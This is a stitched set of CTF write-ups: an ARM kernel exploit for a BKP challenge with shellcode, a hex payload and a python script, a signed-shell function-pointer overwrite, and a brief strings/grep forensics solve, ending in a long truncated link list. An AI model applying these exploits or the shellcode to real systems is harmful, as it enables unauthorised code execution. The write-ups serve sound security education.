RW_PL1 XNVA 0x02300000 --> PXN SECT PA 0x02300000 RW_PL1 XNVA 0x02400000 --> PXN SECT PA 0x02400000 RW_PL1 XNVA 0x02500000 --> PXN SECT PA 0x02500000 RW_PL1 XNVA 0x02600000 --> PXN SECT PA 0x02600000 RW_PL1 XNVA 0x02700000 --> PXN SECT PA 0x02700000 RW_PL1 XNVA 0x02800000 --> FAULTVA 0x02900000 --> FAULTVA 0x02a00000 --> PXN SECT PA 0x02a00000 RW_PL1 XNVA 0x02b00000 --> PXN SECT PA 0x02b00000 RW_PL1 XNVA 0x02c00000 --> NO_PXN SECT PA 0x02c00000 RW_PL1 RO_PL0 VA 0x02d00000 --> NO_PXN SECT PA 0x02d00000 RW_PL1 RO_PL0 VA 0x02e00000 --> FAULTVA 0x02f00000 --> FAULTVA 0x03000000 --> PXN SECT PA 0x03000000 RW_PL1 XNVA 0x03100000 --> PXN SECT PA 0x03100000 RW_PL1 XNVA 0x03200000 --> PXN SECT PA 0x03200000 RW_PL1 XNVA 0x03300000 --> PXN SECT PA 0x03300000 RW_PL1 XNVA 0x03400000 --> PXN SECT PA 0x03400000 RW_PL1 XNVA 0x03500000 --> PXN SECT PA 0x03500000 RW_PL1 XNVA 0x03600000 --> PXN SECT PA 0x03600000 RW_PL1 XNVA 0x03700000 --> PXN SECT PA 0x03700000 RW_PL1 XNVA 0x03800000 --> PXN SECT PA 0x03800000 RW_PL1 XNVA 0x03900000 --> PXN SECT PA 0x03900000 RW_PL1 XNVA 0x03a00000 --> PXN SECT PA 0x03a00000 RW_PL1 XNVA 0x03b00000 --> PXN SECT PA 0x03b00000 RW_PL1 XNVA 0x03c00000 --> PXN SECT PA 0x03c00000 RW_PL1 XNVA 0x03d00000 --> PXN SECT PA 0x03d00000 RW_PL1 XNVA 0x03e00000 --> PXN SECT PA 0x03e00000 RW_PL1 XNVA 0x03f00000 --> PXN SECT PA 0x03f00000 RW_PL1 XNVA 0x04000000 --> PXN SECT PA 0x04100000 RW_PL1 XNVA 0x04100000 --> PXN SECT PA 0x04100000 RW_PL1 XNVA 0x04200000 --> PXN SECT PA 0x04200000 RW_PL1 XNVA 0x04300000 --> PXN SECT PA 0x04300000 RW_PL1 XNVA 0x04400000 --> PXN SECT PA 0x04400000 RW VA 0x04500000 --> PXN SECT PA 0x04500000 RW VA 0x04600000 --> PXN SECT PA 0x04600000 RW VA 0x04700000 --> PXN SECT PA 0x04700000 RW VA 0x04800000 --> PXN SECT PA 0x04800000 RW VA 0x04900000 --> PXN SECT PA 0x04900000 RW VA 0x04a00000 --> PXN SECT PA 0x04a00000 RW VA 0x04b00000 --> PXN SECT PA 0x04b00000 RW VA 0x04c00000 --> PXN SECT PA 0x04c00000 RW VA 0x04d00000 --> PXN SECT PA 0x04d00000 RW VA 0x04e00000 --> PXN SECT PA 0x04e00000 RW VA 0x04f00000 --> PXN SECT PA 0x04f00000 RW VA 0x05000000 --> PXN SECT PA 0x05000000 RW VA 0x05100000 --> PXN SECT PA 0x05100000 RW VA 0x05200000 --> PXN SECT PA 0x05200000 RW VA 0x05300000 --> PXN SECT PA 0x05300000 RW VA 0x05400000 --> PXN SECT PA 0x05400000 RW VA 0x05500000 --> PXN SECT PA 0x05500000 RW VA 0x05600000 --> PXN SECT PA 0x05600000 RW VA 0x05700000 --> PXN SECT PA 0x05700000 RW VA 0x05800000 --> PXN SECT PA 0x05800000 RW VA 0x05900000 --> PXN SECT PA 0x05900000 RW VA 0x05a00000 --> PXN SECT PA 0x05a00000 RW VA 0x05b00000 --> PXN SECT PA 0x05b00000 RW VA 0x05c00000 --> PXN SECT PA 0x05c00000 RW VA 0x05d00000 --> PXN SECT PA 0x05d00000 RW VA 0x05e00000 --> PXN SECT PA 0x05e00000 RW VA 0x05f00000 --> PXN SECT PA 0x05f00000 RW VA 0x06000000 --> PXN SECT PA 0x06000000 RW VA 0x06100000 --> PXN SECT PA 0x06100000 RW VA 0x06200000 --> PXN SECT PA 0x06200000 RW VA 0x06300000 --> PXN SECT PA 0x06300000 RW VA 0x06400000 --> PXN SECT PA 0x06400000 RW XNVA 0x06500000 --> PXN SECT PA 0x06500000 RW XNVA 0x06600000 --> PXN SECT PA 0x06600000 RW XNVA 0x06700000 --> PXN SECT PA 0x06700000 RW XNVA 0x06800000 --> PXN SECT PA 0x06800000 RW XNVA 0x06900000 --> PXN SECT PA 0x06900000 RW XNVA 0x06a00000 --> PXN SECT PA 0x06a00000 RW XNVA 0x06b00000 --> PXN SECT PA 0x06b00000 RW XNVA 0x06c00000 --> PXN SECT PA 0x06c00000 RW VA 0x06d00000 --> PXN SECT PA 0x06d00000 RW VA 0x06e00000 --> PXN SECT PA 0x06e00000 RW VA 0x06f00000 --> PXN SECT PA 0x06f00000 RW VA 0x07000000 --> PXN SECT PA 0x07000000 RW VA 0x07100000 --> PXN SECT PA 0x07100000 RW VA 0x07200000 --> PXN SECT PA 0x07200000 RW VA 0x07300000 --> PXN SECT PA 0x07300000 RW VA 0x07400000 --> PXN SECT PA 0x07400000 RW VA 0x07500000 --> PXN SECT PA 0x07500000 RW VA 0x07600000 --> PXN SECT PA 0x07600000 RW VA 0x07700000 --> PXN SECT PA 0x07700000 RW VA 0x07800000 --> PXN SECT PA 0x07800000 RW XNVA 0x07900000 --> PXN SECT PA 0x07900000 RW XNVA 0x07a00000 --> PXN SECT PA 0x07a00000 RW XNVA 0x07b00000 --> PXN SECT PA 0x07b00000 RW XNVA 0x07c00000 --> PXN SECT PA 0x07c00000 RW XNVA 0x07d00000 --> PXN SECT PA 0x07d00000 RW XNVA 0x07e00000 --> PXN SECT PA 0x07e00000 RW XNVA 0x07f00000 --> PXN SECT PA 0x07f00000 RW XNVA 0x08000000 --> FAULT```
There are a few interesting things here:
* Kernel code is mapped as RWX.* PXN seems to be used for userland processes.* Between 0x02c00000 and 0x02e00000 there are 2MB of kernel data that are mapped RO for userspace.* The remainder of userland memory is located between 0x04400000 and 0x08000000, as we already found out during the analysis of the userland task.* The flag page does not seem to be mapped in, so we'll have to do that ourselves.
As for the vulnerability, after not seeing it for a while I finally realized that the schedule syscall was not properly checking the result of kmalloc:
```Csigned int __fastcall sys_schedule(int task_name, unsigned int src, unsigned int size){ signed int ret; // r3@2 task_desc *task; // [sp+10h] [bp-14h]@18 list_desc *task_list_desc; // [sp+18h] [bp-Ch]@18 int kbuf1; // [sp+1Ch] [bp-8h]@16
if ( !validate(task_name) ) // check ptr 1, allows equality with upper range! return -1; if ( !validate(src) ) // check ptr 2 return -1; if ( !validate(src + size) ) // validate end ptr2 return -1; if ( src + size < src || src + size < size ) // verify overflows return -1; if ( size > 0x80000 ) return -1; if ( (unsigned int)strlen_1(task_name) > 31 ) return -1; if ( task_exists((char *)task_name) ) return -1; kbuf1 = kernel_malloc(size); if ( !kbuf1 ) return -1; memcpy(kbuf1, src, size); task = (task_desc *)kernel_malloc(0x28u); // Unverified!! task->buffer = kbuf1; task->size = size; strcpy((unsigned int)task->name, task_name); task_list_desc = make_list_desc((int)task); if ( task_list_desc ) { if ( task_list ) { list_add_head(task_list_desc, task_list); } else { task_list = task_list_desc; list_add_head(task_list, 0); task_scheduled = 1; } ret = 0; } else { kfree(kbuf1); kfree((int)task); ret = -1; } return ret;}```
So if we can cause memory exhaustion, we will be able to write to NULL. In particular, the task name will be written to 0x8, which conveniently contains the SVC reset vector.
This is thus the plan of attack:
1. Almost exhaust all memory by using adding tasks to the schedule list. Note that we need a different task name each time, so I'm just calling the random() system call and using that as task name.2. Add a final task for which the first kmalloc() will succeed, and the second one will fail. This task name will be written on top of the SVC handler.3. Trigger an svc to execute our newly introduced code.
## Step 1: exhausting memory
For exhausting memory, I wrote a simple loop with a task of the maximum allowed size:
```asm.text.globl startstart:
ldr r9, =#59
sub sp, sp, #0x400 mov r11, sp
loop:
bl rand str r0, [sp] eor r0, r0 str r0, [sp, #4]
mov r1, sp ldr r2, =#0x04400000 ldr r3, =#0x7f000 bl sched
cmp r0, #0x0 moveq r3, #79 movne r3, #78
str r3, [sp] mov r3, #0x0A str r3, [sp, #0x01]
mov r1, sp mov r2, #0x2 bl write
sub r9, r9, #0x1 cmp r9, #0 bne loop lastone: bl rand str r0, [sp] eor r0, r0 str r0, [sp, #4]
mov r1, sp ldr r2, =#0x04400000 ldr r3, =#0x6dfe0 bl sched```
At each step of the loop we are actually writing O (for OK) or N (for Not OK) depending on the syscall result. I used this initially to determine how many iterations of the loop I needed.
After this, I decided to read in the task name from the exploit and trigger the final schedule call:
```asmdone: @ Signal Done to get our new instructions mov r3, #68 str r3, [sp] mov r3, #0x0A str r3, [sp, #0x01] mov r1, sp mov r2, #0x2 bl write
@ Read instructions to put at 0x8 mov r1, sp mov r2, #0x10 bl read
mov r1, sp ldr r2, =#0x04400000 ldr r3, =#0x4bb00 bl sched```
After this point, our rewritten SVC handler would be ready to execute. I decided to replace it by the following code:
```asmstr r7, [r8, #4]ldr pc, [pc, #20] ; 0x28```
This effectively gives us an arbitrary write using r7 and r8, and then calls the original syscall handler. I used this to change an L1 page table descriptor to be able to read the flag, and then dump it using the write syscall:
```asm @Invalid syscall should result in a write to memory ldr r7, =#0x04000c03 ldr r8, =#0x2a00140 sub r8, r8, #0x4 ldr r1, =#0x05000000 mov r2, #0x20 bl write
end: bl rand b end```
We then assemble the shellcode and extract the binary:
```arm-none-eabi-as ./boot_sc.s && arm-none-eabi-objcopy -O binary a.out sc.bin```
The following few lines were added to the python exploit to send the shellcode and later the kernel payload:
```python
sc = open("sc.bin", "rb").read()x.send(sc.ljust(sc_size, "\x00"))
print "[*] Waiting for Done flag"x.recvuntil("D\n")
print "[*] Sending kernel mode payload"
'''This is the following code:
str r7, [r8, 4]ldr pc, [pc, 20]
to replace the syscall reset vector.
This way we get an arbitrary write for each syscall we make'''sc = "047088e514f09fe5".decode("hex")x.send(sc.ljust(16, "\x00"))
print "[*] Go check!"
x.interactive()```
# Show time
Finally, running this on the CTF server we got the following output:
```bkpctf python bare.py[+] Opening connection to 54.214.122.246 on port 8888: Done[*] Write target: 0x440064c[*] Paused (press any to continue)[*] Waiting for Done flag[*] Sending kernel mode payload[*] Go check![*] Switching to interactive modeBkP{I saw ARM on your resume...}[*] Got EOF while reading in interactive$```
And this concludes this very nice multi-stage exploiting challenge :)
If you are curoius and want to try it out locally, just get the files from the challenge folder and run the server with socat as follows:
```socat TCP-LISTEN:8888,reuseaddr,fork EXEC:"./run.sh"```
Replace the IP address in the python file and run it.
|
<span>Secure Shell Server<span>This challenge involves getting arbitrary shell access to a secure shell server</span>Welcome to Secure Signed Shell1) sign command2) execute command>_</span><span>As always, we can start by fuzzing all the string input states of the program, we quickly find that entering more than 256 characters into the execute command prompt causes seg faults indicating a possible buffer overflow, invalid instructions, or memory corruption.</span><span>We can look at the area in memory where the command is stored, and we find it to be a global section obj.global of size 0x100 (256). In running the code, however, we notice that the null byte termination at the end of the string overwrites a value directly after the global section, specifically the byte at address 0x00602240. This byte is then used to determine whether to run a SHA1 or MD5 hashing of the command. We know it does MD5 by default due to the length of the signatures of whitelisted commands (ls, whoami, ...). We don't yet know why the segfault appears, but we do notice we can change execution by altering which path je 0x4011f2 takes</span> 0x401145 ;[ge]mov edi, str.what_command_do_you_want_to_run_ call sym.imp.puts ;[gg]mov edi, 0x401622mov eax, 0call sym.imp.printf ;[gh]mov edx, 0x100mov esi, obj.globalmov edi, 0call sym.imp.read ;[gi]mov dword [rbp - local_54h], eaxmov eax, dword [rbp - local_54h]cdqemov byte [rax + obj.global], 0mov qword [rbp - local_40h], obj.globalmovzx eax, byte [0x00602240]test al, alje 0x4011f2 ;[gj]<span>We can continue execution to determine what call causes the segfaults and we find a register call to an address stored at obj.m_exec_guy + 0x13. Depending on the overflow input the call to rax gives different results.</span>0x401369 ;[gAd]mov rax, qword [obj.m_exec_guy]mov rax, qword [rax + 0x13]mov edi, obj.globalcall raxjmp 0x40138f ;[gAc] <span>Let's quickly examine the setup for this memory location, it appears to create an obj.s_exec_guy and obj.m_exec_guy, finding usage of these pointers suggests they are for storing the SHA1 and MD5 hashes (hence s and m prefixes). Since the hashes are different lengths it makes sense obj.s_exec_guy provides more space than obj.m_exec_guy. However the address to the functions to deny_command and exec_command lie directly after the stored hash.</span>0x4010c8 ;[gd]mov esi, 1mov edi, 0x24call sym.imp.calloc ;[gc]mov qword [obj.exec_guy], raxmov rax, qword [obj.exec_guy]mov qword [obj.s_exec_guy], raxmov rax, qword [obj.exec_guy]add rax, 1mov qword [obj.m_exec_guy], rax mov rax, qword [obj.s_exec_guy] mov qword [rax + 0x14], sym.deny_command mov rax, qword [obj.s_exec_guy]mov qword [rax + 0x1c], sym.exec_command<span>Now the exploit becomes clear, by controlling the SHA1/MD5 jump we can effectively choose the length of the hash stored at the address determined at the beginning of execution. Since the program expects to perform MD5, if we change the execution to be SHA1 it will store a larger hash than expected in the obj.m_exec_guy location, thus overwriting the last (endianness) two bytes of the address sym.deny_command. Luckily the addresses for sym.deny_command and sym.exec_command differ by only two bytes, thus by hashing enough different inputs we can overwrite the deny address to jump to the exec address. Then so long as our input command is at least partially valid in shell we can execute the command and return the result.</span><span>See website for codeoutput: trying: cat flag;DEXotxgPoDkrkHpgaVubVrFGOvTOPWgreLTocJHJmZGpLeLgChPKeLCjLYDFacUyxXVcdrUqmdRPVLIAwtgKjJsRPKlmhRTCTOamDyaqTFQfRFtfNWEbpcMIfupVOzMkejNAXYhWujNGWAbMVOGfUdotGMjFOfhzLKjzoKTQXEFTCtwBqfndBvDmdWIpJOXauQitisLLouNDksWcOcISPqPenZSdsfoOHvglTqWIEjCvAbIyqpRjWHw ANSWER: bkp{and you did not even have to break sha1}</span> |
Woodstock-1========
> John Hammond | Tuesday, February 7th, 2017
--------------------------------------------
> Someone intercepted a chat between illustris and codelec
Another `10` point forensics challenge.
[`strings`][strings] for the win, again (This challenge has a flag transmitted in the clear).
``` bash#!/bin/bash
strings ws1_2.pcapng |grep -oE "BITSCTF{.*}" --color=never```
__The flag was: `BITSCTF{such_s3cure_much_w0w}`__
[netcat]: https://en.wikipedia.org/wiki/Netcat[Wikipedia]: https://www.wikipedia.org/[Linux]: https://www.linux.com/[man page]: https://en.wikipedia.org/wiki/Man_page[man pages]: https://en.wikipedia.org/wiki/Man_page[man]: https://en.wikipedia.org/wiki/Man_page[PuTTY]: http://www.putty.org/[ssh]: https://en.wikipedia.org/wiki/Secure_Shell[Windows]: http://www.microsoft.com/en-us/windows[virtual machine]: https://en.wikipedia.org/wiki/Virtual_machine[operating system]:https://en.wikipedia.org/wiki/Operating_system[OS]: https://en.wikipedia.org/wiki/Operating_system[VMWare]: http://www.vmware.com/[VirtualBox]: https://www.virtualbox.org/[hostname]: https://en.wikipedia.org/wiki/Hostname[port number]: https://en.wikipedia.org/wiki/Port_%28computer_networking%29[port]: https://en.wikipedia.org/wiki/Port_%28computer_networking%29[ports]: https://en.wikipedia.org/wiki/Port_%28computer_networking%29[distribution]:https://en.wikipedia.org/wiki/Linux_distribution[Ubuntu]: http://www.ubuntu.com/[ISO]: https://en.wikipedia.org/wiki/ISO_image[standard streams]: https://en.wikipedia.org/wiki/Standard_streams[standard output]: https://en.wikipedia.org/wiki/Standard_streams[standard input]: https://en.wikipedia.org/wiki/Standard_streams[read]: http://ss64.com/bash/read.html[variable]: https://en.wikipedia.org/wiki/Variable_%28computer_science%29[command substitution]: http://www.tldp.org/LDP/abs/html/commandsub.html[permissions]: https://en.wikipedia.org/wiki/File_system_permissions[redirection]: http://www.tldp.org/LDP/abs/html/io-redirection.html[redirect]: http://www.tldp.org/LDP/abs/html/io-redirection.html[pipe]: http://www.tldp.org/LDP/abs/html/io-redirection.html[piped]: http://www.tldp.org/LDP/abs/html/io-redirection.html[piping]: http://www.tldp.org/LDP/abs/html/io-redirection.html[tmp]: http://www.tldp.org/LDP/Linux-Filesystem-Hierarchy/html/tmp.html[curl]: http://curl.haxx.se/[cl1p.net]: https://cl1p.net/[request]: http://www.w3.org/Protocols/rfc2616/rfc2616-sec5.html[POST request]: https://en.wikipedia.org/wiki/POST_%28HTTP%29[Python]: http://python.org/[interpreter]: https://en.wikipedia.org/wiki/List_of_command-line_interpreters[requests]: http://docs.python-requests.org/en/latest/[urllib]: https://docs.python.org/2/library/urllib.html[file handling with Python]: https://docs.python.org/2/tutorial/inputoutput.html#reading-and-writing-files[bash]: https://www.gnu.org/software/bash/[Assembly]: https://en.wikipedia.org/wiki/Assembly_language[the stack]: https://en.wikipedia.org/wiki/Stack_%28abstract_data_type%29[register]: http://www.tutorialspoint.com/assembly_programming/assembly_registers.htm[hex]: https://en.wikipedia.org/wiki/Hexadecimal[hexadecimal]: https://en.wikipedia.org/wiki/Hexadecimal[archive file]: https://en.wikipedia.org/wiki/Archive_file[zip file]: https://en.wikipedia.org/wiki/Zip_%28file_format%29[.zip]: https://en.wikipedia.org/wiki/Zip_%28file_format%29[gigabytes]: https://en.wikipedia.org/wiki/Gigabyte[GB]: https://en.wikipedia.org/wiki/Gigabyte[GUI]: https://en.wikipedia.org/wiki/Graphical_user_interface[Wireshark]: https://www.wireshark.org/[FTP]: https://en.wikipedia.org/wiki/File_Transfer_Protocol[client and server]: https://simple.wikipedia.org/wiki/Client-server[RETR]: http://cr.yp.to/ftp/retr.html[FTP server]: https://help.ubuntu.com/lts/serverguide/ftp-server.html[SFTP]: https://en.wikipedia.org/wiki/SSH_File_Transfer_Protocol[SSL]: https://en.wikipedia.org/wiki/Transport_Layer_Security[encryption]: https://en.wikipedia.org/wiki/Encryption[HTML]: https://en.wikipedia.org/wiki/HTML[Flask]: http://flask.pocoo.org/[SQL]: https://en.wikipedia.org/wiki/SQL[and]: https://en.wikipedia.org/wiki/Logical_conjunction[Cyberstakes]: https://cyberstakesonline.com/[cat]: https://en.wikipedia.org/wiki/Cat_%28Unix%29[symbolic link]: https://en.wikipedia.org/wiki/Symbolic_link[ln]: https://en.wikipedia.org/wiki/Ln_%28Unix%29[absolute path]: https://en.wikipedia.org/wiki/Path_%28computing%29[CTF]: https://en.wikipedia.org/wiki/Capture_the_flag#Computer_security[Cyberstakes]: https://cyberstakesonline.com/[OverTheWire]: http://overthewire.org/[Leviathan]: http://overthewire.org/wargames/leviathan/[ls]: https://en.wikipedia.org/wiki/Ls[grep]: https://en.wikipedia.org/wiki/Grep[strings]: http://linux.die.net/man/1/strings[ltrace]: http://linux.die.net/man/1/ltrace[C]: https://en.wikipedia.org/wiki/C_%28programming_language%29[strcmp]: http://linux.die.net/man/3/strcmp[access]: http://pubs.opengroup.org/onlinepubs/009695399/functions/access.html[system]: http://linux.die.net/man/3/system[real user ID]: https://en.wikipedia.org/wiki/User_identifier[effective user ID]: https://en.wikipedia.org/wiki/User_identifier[brute force]: https://en.wikipedia.org/wiki/Brute-force_attack[brute-force]: https://en.wikipedia.org/wiki/Brute-force_attack[for loop]: https://en.wikipedia.org/wiki/For_loop[bash programming]: http://tldp.org/HOWTO/Bash-Prog-Intro-HOWTO.html[Behemoth]: http://overthewire.org/wargames/behemoth/[command line]: https://en.wikipedia.org/wiki/Command-line_interface[command-line]: https://en.wikipedia.org/wiki/Command-line_interface[cli]: https://en.wikipedia.org/wiki/Command-line_interface[PHP]: https://php.net/[URL]: https://en.wikipedia.org/wiki/Uniform_Resource_Locator[TamperData]: https://addons.mozilla.org/en-US/firefox/addon/tamper-data/[Firefox]: https://www.mozilla.org/en-US/firefox/new/?product=firefox-3.6.8&os=osx%E2%8C%A9=en-US[Caesar Cipher]: https://en.wikipedia.org/wiki/Caesar_cipher[Google Reverse Image Search]: https://www.google.com/imghp[PicoCTF]: https://picoctf.com/[JavaScript]: https://www.javascript.com/[base64]: https://en.wikipedia.org/wiki/Base64[client-side]: https://en.wikipedia.org/wiki/Client-side_scripting[client side]: https://en.wikipedia.org/wiki/Client-side_scripting[javascript:alert]: http://www.w3schools.com/js/js_popup.asp[Java]: https://www.java.com/en/[2147483647]: https://en.wikipedia.org/wiki/2147483647_%28number%29[XOR]: https://en.wikipedia.org/wiki/Exclusive_or[XOR cipher]: https://en.wikipedia.org/wiki/XOR_cipher[quipqiup.com]: http://www.quipqiup.com/[PDF]: https://en.wikipedia.org/wiki/Portable_Document_Format[pdfimages]: http://linux.die.net/man/1/pdfimages[ampersand]: https://en.wikipedia.org/wiki/Ampersand[URL encoding]: https://en.wikipedia.org/wiki/Percent-encoding[Percent encoding]: https://en.wikipedia.org/wiki/Percent-encoding[URL-encoding]: https://en.wikipedia.org/wiki/Percent-encoding[Percent-encoding]: https://en.wikipedia.org/wiki/Percent-encoding[endianness]: https://en.wikipedia.org/wiki/Endianness[ASCII]: https://en.wikipedia.org/wiki/ASCII[struct]: https://docs.python.org/2/library/struct.html[pcap]: https://en.wikipedia.org/wiki/Pcap[packet capture]: https://en.wikipedia.org/wiki/Packet_analyzer[HTTP]: https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol[Wireshark filters]: https://wiki.wireshark.org/DisplayFilters[SSL]: https://en.wikipedia.org/wiki/Transport_Layer_Security[Assembly]: https://en.wikipedia.org/wiki/Assembly_language[Assembly Syntax]: https://en.wikipedia.org/wiki/X86_assembly_language#Syntax[Intel Syntax]: https://en.wikipedia.org/wiki/X86_assembly_language[Intel or AT&T]: http://www.imada.sdu.dk/Courses/DM18/Litteratur/IntelnATT.htm[AT&T syntax]: https://en.wikibooks.org/wiki/X86_Assembly/GAS_Syntax[GET request]: https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol#Request_methods[GET requests]: https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol#Request_methods[IP Address]: https://en.wikipedia.org/wiki/IP_address[IP Addresses]: https://en.wikipedia.org/wiki/IP_address[MAC Address]: https://en.wikipedia.org/wiki/MAC_address[session]: https://en.wikipedia.org/wiki/Session_%28computer_science%29[Cookie Manager+]: https://addons.mozilla.org/en-US/firefox/addon/cookies-manager-plus/[hexedit]: http://linux.die.net/man/1/hexedit[Google]: http://google.com/[Scapy]: http://www.secdev.org/projects/scapy/[ARP]: https://en.wikipedia.org/wiki/Address_Resolution_Protocol[UDP]: https://en.wikipedia.org/wiki/User_Datagram_Protocol[SQL injection]: https://en.wikipedia.org/wiki/SQL_injection[sqlmap]: http://sqlmap.org/[sqlite]: https://www.sqlite.org/[MD5]: https://en.wikipedia.org/wiki/MD5[OpenSSL]: https://www.openssl.org/[Burpsuite]:https://portswigger.net/burp/[Burpsuite.jar]:https://portswigger.net/burp/[Burp]:https://portswigger.net/burp/[NULL character]: https://en.wikipedia.org/wiki/Null_character[Format String Vulnerability]: http://www.cis.syr.edu/~wedu/Teaching/cis643/LectureNotes_New/Format_String.pdf[printf]: http://pubs.opengroup.org/onlinepubs/009695399/functions/fprintf.html[argument]: https://en.wikipedia.org/wiki/Parameter_%28computer_programming%29[arguments]: https://en.wikipedia.org/wiki/Parameter_%28computer_programming%29[parameter]: https://en.wikipedia.org/wiki/Parameter_%28computer_programming%29[parameters]: https://en.wikipedia.org/wiki/Parameter_%28computer_programming%29[Vortex]: http://overthewire.org/wargames/vortex/[socket]: https://docs.python.org/2/library/socket.html[file descriptor]: https://en.wikipedia.org/wiki/File_descriptor[file descriptors]: https://en.wikipedia.org/wiki/File_descriptor[Forth]: https://en.wikipedia.org/wiki/Forth_%28programming_language%29[github]: https://github.com/[buffer overflow]: https://en.wikipedia.org/wiki/Buffer_overflow[try harder]: https://www.offensive-security.com/when-things-get-tough/[segmentation fault]: https://en.wikipedia.org/wiki/Segmentation_fault[seg fault]: https://en.wikipedia.org/wiki/Segmentation_fault[segfault]: https://en.wikipedia.org/wiki/Segmentation_fault[shellcode]: https://en.wikipedia.org/wiki/Shellcode[sploit-tools]: https://github.com/SaltwaterC/sploit-tools[Kali]: https://www.kali.org/[Kali Linux]: https://www.kali.org/[gdb]: https://www.gnu.org/software/gdb/[gdb tutorial]: http://www.unknownroad.com/rtfm/gdbtut/gdbtoc.html[payload]: https://en.wikipedia.org/wiki/Payload_%28computing%29[peda]: https://github.com/longld/peda[git]: https://git-scm.com/[home directory]: https://en.wikipedia.org/wiki/Home_directory[NOP slide]:https://en.wikipedia.org/wiki/NOP_slide[NOP]: https://en.wikipedia.org/wiki/NOP[examine]: https://sourceware.org/gdb/onlinedocs/gdb/Memory.html[stack pointer]: http://stackoverflow.com/questions/1395591/what-is-exactly-the-base-pointer-and-stack-pointer-to-what-do-they-point[little endian]: https://en.wikipedia.org/wiki/Endianness[big endian]: https://en.wikipedia.org/wiki/Endianness[endianness]: https://en.wikipedia.org/wiki/Endianness[pack]: https://docs.python.org/2/library/struct.html#struct.pack[ash]:https://en.wikipedia.org/wiki/Almquist_shell[dash]: https://en.wikipedia.org/wiki/Almquist_shell[shell]: https://en.wikipedia.org/wiki/Shell_%28computing%29[pwntools]: https://github.com/Gallopsled/pwntools[colorama]: https://pypi.python.org/pypi/colorama[objdump]: https://en.wikipedia.org/wiki/Objdump[UPX]: http://upx.sourceforge.net/[64-bit]: https://en.wikipedia.org/wiki/64-bit_computing[breakpoint]: https://en.wikipedia.org/wiki/Breakpoint[stack frame]: http://www.cs.umd.edu/class/sum2003/cmsc311/Notes/Mips/stack.html[format string]: http://codearcana.com/posts/2013/05/02/introduction-to-format-string-exploits.html[format specifiers]: http://web.eecs.umich.edu/~bartlett/printf.html[format specifier]: http://web.eecs.umich.edu/~bartlett/printf.html[variable expansion]: https://www.gnu.org/software/bash/manual/html_node/Shell-Parameter-Expansion.html[base pointer]: http://stackoverflow.com/questions/1395591/what-is-exactly-the-base-pointer-and-stack-pointer-to-what-do-they-point[dmesg]: https://en.wikipedia.org/wiki/Dmesg[Android]: https://www.android.com/[.apk]:https://en.wikipedia.org/wiki/Android_application_package[decompiler]: https://en.wikipedia.org/wiki/Decompiler[decompile Java code]: http://www.javadecompilers.com/[jadx]: https://github.com/skylot/jadx[.img]: https://en.wikipedia.org/wiki/IMG_%28file_format%29[binwalk]: http://binwalk.org/[JPEG]: https://en.wikipedia.org/wiki/JPEG[JPG]: https://en.wikipedia.org/wiki/JPEG[disk image]: https://en.wikipedia.org/wiki/Disk_image[foremost]: http://foremost.sourceforge.net/[eog]: https://wiki.gnome.org/Apps/EyeOfGnome[function pointer]: https://en.wikipedia.org/wiki/Function_pointer[machine code]: https://en.wikipedia.org/wiki/Machine_code[compiled language]: https://en.wikipedia.org/wiki/Compiled_language[compiler]: https://en.wikipedia.org/wiki/Compiler[scripting language]: https://en.wikipedia.org/wiki/Scripting_language[scripts]: https://en.wikipedia.org/wiki/Scripting_language[script]: https://en.wikipedia.org/wiki/Scripting_language[shell-storm.org]: http://shell-storm.org/[shell-storm]:http://shell-storm.org/[shellcode database]: http://shell-storm.org/shellcode/[gdb-peda]: https://github.com/longld/peda[x86]: https://en.wikipedia.org/wiki/X86[Intel x86]: https://en.wikipedia.org/wiki/X86[sh]: https://en.wikipedia.org/wiki/Bourne_shell[/bin/sh]: https://en.wikipedia.org/wiki/Bourne_shell[SANS]: https://www.sans.org/[Holiday Hack Challenge]: https://holidayhackchallenge.com/[USCGA]: http://uscga.edu/[United States Coast Guard Academy]: http://uscga.edu/[US Coast Guard Academy]: http://uscga.edu/[Academy]: http://uscga.edu/[Coast Guard Academy]: http://uscga.edu/[Hackfest]: https://www.sans.org/event/pen-test-hackfest-2015[SSID]: https://en.wikipedia.org/wiki/Service_set_%28802.11_network%29[DNS]: https://en.wikipedia.org/wiki/Domain_Name_System[Python:base64]: https://docs.python.org/2/library/base64.html[OpenWRT]: https://openwrt.org/[node.js]: https://nodejs.org/en/[MongoDB]: https://www.mongodb.org/[Mongo]: https://www.mongodb.org/[SuperGnome 01]: http://52.2.229.189/[Shodan]: https://www.shodan.io/[SuperGnome 02]: http://52.34.3.80/[SuperGnome 03]: http://52.64.191.71/[SuperGnome 04]: http://52.192.152.132/[SuperGnome 05]: http://54.233.105.81/[Local file inclusion]: http://hakipedia.com/index.php/Local_File_Inclusion[LFI]: http://hakipedia.com/index.php/Local_File_Inclusion[PNG]: http://www.libpng.org/pub/png/[.png]: http://www.libpng.org/pub/png/[Remote Code Execution]: https://en.wikipedia.org/wiki/Arbitrary_code_execution[RCE]: https://en.wikipedia.org/wiki/Arbitrary_code_execution[GNU]: https://www.gnu.org/[regular expression]: https://en.wikipedia.org/wiki/Regular_expression[regular expressions]: https://en.wikipedia.org/wiki/Regular_expression[uniq]: https://en.wikipedia.org/wiki/Uniq[sort]: https://en.wikipedia.org/wiki/Sort_%28Unix%29[binary data]: https://en.wikipedia.org/wiki/Binary_data[binary]: https://en.wikipedia.org/wiki/Binary[automation is divine]: https://www.youtube.com/watch?v=36AA3JGRP9s[repos]:https://help.ubuntu.com/community/Repositories/Ubuntu[repo]:https://help.ubuntu.com/community/Repositories/Ubuntu[repository]:https://help.ubuntu.com/community/Repositories/Ubuntu[repositories]: https://help.ubuntu.com/community/Repositories/Ubuntu[hex dump]: https://en.wikipedia.org/wiki/Hex_dump[hexdump]: https://en.wikipedia.org/wiki/Hex_dump[xxd]: http://linuxcommand.org/man_pages/xxd1.html[mkdir]: https://en.wikipedia.org/wiki/Mkdir[file]: https://en.wikipedia.org/wiki/File_%28command%29[gzip]: http://www.gzip.org/[file extension]: https://en.wikipedia.org/wiki/Filename_extension[bzip]: http://www.bzip.org/[bzip2]: http://www.bzip.org/[tar]: https://en.wikipedia.org/wiki/Tar_%28computing%29[tar command]: http://linuxcommand.org/man_pages/tar1.html[private key]: https://help.ubuntu.com/community/SSH/OpenSSH/Keys[s_client]: https://www.openssl.org/docs/manmaster/apps/s_client.html[nmap]: https://nmap.org/[IP address]: https://en.wikipedia.org/wiki/IP_address[RSA]: https://en.wikipedia.org/wiki/RSA_(cryptosystem)[ssh private key]: 